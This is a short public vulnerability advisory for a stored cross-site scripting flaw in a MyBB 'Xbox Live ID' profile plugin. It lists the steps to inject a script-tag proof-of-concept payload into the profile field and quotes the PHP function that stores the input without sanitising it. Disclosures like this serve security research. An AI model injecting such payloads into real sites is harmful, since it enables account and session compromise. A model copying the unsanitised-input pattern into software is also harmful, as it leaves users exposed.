MyBB Xbox Live ID Cross Site Scripting

# Exploit Title: Xbox Live ID MyBB Plugin Stored XSS
# Date: 13/12/2012
# Exploit Author: limb0
# Vendor Homepage: http://www.leveleando.com
# Software Link: http://mods.mybb.com/view/profile-xbox-live-id
# Version: 1.0
# Category:Web Security
# Tested on: Linux
 
+------------------------------------------------------------+
Stored XSS-Instructions
1.Install&Activate plugin
(Maybe you will get an error: About a "/" on line 31.
Open your plugin file and delete the slash.The coder didn't notice that)
2.Go to UserCP >> Edit Profile >> Xbox Live ID
3.Inject your string(xss) ex. "><script>alert(1)</script>
4.Visit your profile and voila
 
Proof
Inject:http://postimage.org/image/hpxk33od3/
Result:postimage.org/image/6vzb5sqgd/
+-------------------------------------------------------------+
 
Vulnerable code:
function profilexli_update($xli)
{
  global $mybb;
 
  if (isset($mybb->input['xli']))
   {
      $xli->user_update_data['xli'] = $mybb->input['xli'];
   }
}